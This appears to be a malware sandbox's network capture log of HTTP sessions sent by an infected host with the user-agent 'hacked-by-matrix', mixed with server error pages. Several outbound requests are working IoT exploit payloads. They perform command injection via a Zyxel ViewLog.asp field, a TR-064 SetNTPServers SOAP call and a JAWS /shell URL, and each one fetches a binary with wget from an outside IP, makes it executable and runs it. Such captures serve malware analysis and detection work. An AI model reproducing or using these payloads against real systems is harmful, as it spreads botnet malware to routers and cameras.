Mar 2, 2024 12:37:51.705162048 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Length: 1259 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 63 68 69 65 72 20 6f 75 20 72 e9 70 65 72 74 6f 69 72 65 20 69 6e 74 72 6f 75 76 61 62 6c 65 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 45 72 72 65 75 72 20 64 65 20 73 65 72 76 65 75 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 63 68 69 65 72 20 6f 75 20 72 e9 70 65 72 74 6f 69 72 65 20 69 6e 74 72 6f 75 76 61 62 6c 65 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 4c 61 20 72 65 73 73 6f 75 72 63 65 20 71 75 65 20 76 6f 75 73 20 72 65 63 68 65 72 63 68 65 7a 20 61 20 70 65 75 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fichier ou rpertoire introuvable.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Erreur de serveur</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - Fichier ou rpertoire introuvable.</h2> <h3>La ressource que vous recherchez a peu
Mar 2, 2024 12:37:51.705188990 CET	134	IN	Data Raw: 74 2d ea 74 72 65 20 e9 74 e9 20 73 75 70 70 72 69 6d e9 65 20 6f 75 20 72 65 6e 6f 6d 6d e9 65 2c 20 6f 75 20 65 73 74 20 74 65 6d 70 6f 72 61 69 72 65 6d 65 6e 74 20 69 6e 64 69 73 70 6f 6e 69 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 Data Ascii: t-tre t supprime ou renomme, ou est temporairement indisponible.</h3> </fieldset></div></div></body></html>
Mar 2, 2024 12:37:51.705213070 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:27 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.23	37822	82.204.141.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.456919909 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.23	45228	125.143.101.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.628874063 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.23	52226	20.76.145.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.767028093 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.23	50630	83.223.113.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.851397038 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:50.006742001 CET	395	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 02 Mar 2024 11:37:49 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:37:50.006778955 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:37:50.346482038 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.23	55300	83.217.81.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.856425047 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:50.027628899 CET	297	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:37:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
Mar 2, 2024 12:37:50.027704000 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.23	49310	23.217.40.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.856535912 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:49.944731951 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:37:49 GMT Date: Sat, 02 Mar 2024 11:37:49 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 35 38 37 38 63 65 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 36 39 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.5878ce17.1709379469.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.23	58342	83.96.200.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.859694958 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:50.028024912 CET	1125	IN	HTTP/1.1 302 Found Date: Sat, 02 Mar 2024 11:37:20 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://www.hoza-apeldoorn.nl/cgi-bin/ViewLog.asp Content-Length: 308 Keep-Alive: timeout=5, max=50 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 7a 61 2d 61 70 65 6c 64 6f 6f 72 6e 2e 6e 6c 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 37 3a 32 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 35 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 6d 2d 31 34 61 34 33 36 31 37 2d 62 62 33 63 2d 34 61 66 39 2d 38 65 38 61 2d 38 32 34 30 63 37 66 34 36 36 31 30 2e 61 6d 73 2e 72 65 73 6f 75 72 63 65 2e 63 6c 6f 75 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.hoza-apeldoorn.nl/cgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:37:20 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 350Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 